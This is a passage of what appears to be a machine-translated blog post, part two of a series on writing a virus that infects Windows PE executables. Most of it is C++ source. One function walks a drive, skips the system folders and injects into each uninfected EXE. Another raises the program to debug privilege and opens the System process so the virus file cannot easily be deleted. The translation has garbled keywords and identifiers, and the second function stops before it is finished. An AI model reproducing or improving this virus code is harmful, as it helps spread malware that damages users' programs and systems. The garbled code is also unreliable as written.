Pe-infected virus-traversing the disk PE file (2)

During the test, I felt that the efficiency was not very good. So I would like to express my gratitude to anyone who can provide valuable suggestions!

 

1. Traverse PE files on the disk

[CPP]
View plaincopyprint?

1. /*************************************** *********************************/
2. /* Function Description: traverses all EXE files in the specified drive.
3. /* Parameter: Drive name, such as C:
4. /* Return value: the number of traversal tasks.
5. /* By: Koma 2009.12.18 23:55
6. /*************************************** *********************************/
7. Int emudiskfiles (lpctstr lpstr)
8. {
9. Cfilefind FD;
10. Cstring strwild (lpstr );
11. Cstring STR = FD. getfilepath (); // obtain the absolute path of each file
12. Int ntemp = 0; // a maximum of five threads can be started simultaneously.
13. Bool Bret;
14. Handle hthread;
15. DWORD dwtid;
16. Strwild + = _ T ("// *. *"); // search type
17. Bret = FD. findfile (strwild); // start searching
18. While (BRET) {// if not empty, continue traversing
19. Reemu: Bret = FD. findnextfile (); // find the next file
20. If (FD. isdots () // filter the directory itself and the upper directory
21. Continue;
22. Else if (FD. isdirectory () {// determines whether the folder is used
23. Cstring STR = FD. getfilepath (); // get the folder path
24. Emudiskfiles (STR); // continue to traverse sub-Directories
25. }
26. Else
27. {
28. Int ntemp1 = Str. Find ("Windows"); // skip if it is an XP system directory
29. Int ntemp2 = Str. Find ("winnt"); // skip if the system directory is win2000
30. If (ntemp1> 0 | ntemp2> 0)
31. Goto reemu;
32. If (Str. Find (". EXE")> 0) {// determine whether the extension is exe.
33. If (! Isinfect (STR) // determines whether the infection has occurred.
34. {
35. Di. m_strfilepath = STR; // sets the absolute path of the infected file
36. Hthread = createthread (null, 0, (unsigned long (_ stdcall *) (void *) threadinject, (lpvoid) (& diinject), null, & dwtid );
37. Waitforsingleobject (hthread, infinite );
38. // Infectpe (STR );
39. }
40. Continue;
41. }
42. }
43. Sleep (10000); // traverses a file in 10 seconds
44. }
45. Return 0;
46. }

 

2. Process Elevation of Privilege and file protection

[CPP]
View plaincopyprint?

1. /*************************************** *********************************/
2. /* Function Description: Upgrade process permissions to debug permissions.
3. /* Parameter: None
4. /* Return value: None
5. /* By: Koma 2009.12.17 21:20
6. /*************************************** *********************************/
7. Void raisetodebug ()
8. {
9. Handle htoken;
10. Handle hprocess = getcurrentprocess (); // get the current process handle
12. // Open the token of the current process, which is a permission token. The second parameter can be set to token_all_access.
13. If (openprocesstoken (hprocess, token_adjust_privileges | token_query, & htoken ))
14. {
15. Token_privileges tkp;
16. If (lookupprivilegevalue (null, se_debug_name, & tkp. Privileges [0]. luid ))
17. {
18. Tkp. privilegecount = 1;
19. Tkp. Privileges [0]. Attributes = se_privilege_enabled;
21. // Notify the system to modify the process permission
22. Bool Bret = adjusttokenprivileges (htoken, false, & tkp, 0, null, 0 );
23. }
24. Closehandle (htoken );
25. }
26. }
27. /*************************************** *********************************/
28. /* Function Description: protects files from being easily deleted.
29. /* Parameter: None
30. /* Return value: None
31. /* By: Koma 2009.12.17 21:42
32. /*************************************** *********************************/
33. Bool occupyfile (lpctstr lpfilename)
34. {
35. Raisetodebug (); // escalate Permissions
37. // Open the syetem process. You must grant process_dup_handle permission before enabling it.
38. Handle hprocess = OpenProcess (process_dup_handle, false, 4 );
39. If (hprocess = NULL)
40. {
41. Hprocess = OpenProcess (process_dup_handle, false, 8 );
42. If (hprocess = NULL)
43. Return false;
44. }
46. Handle hfile = NULL;
47. Handle htargethandle = NULL;
49. // Create a file. Of course, this file may already exist.
50. Hfile = createfile (lpfilename, generic_read | generic_execute | generic_write, 0, null, create_always, file_attribute_normal, null );
52. If (hfile = invalid_handle_value)
53. {
54. // File Creation or opening failed
55. Closehandle (hprocess );
56. Return false;
57. }
58. Return true;
59. }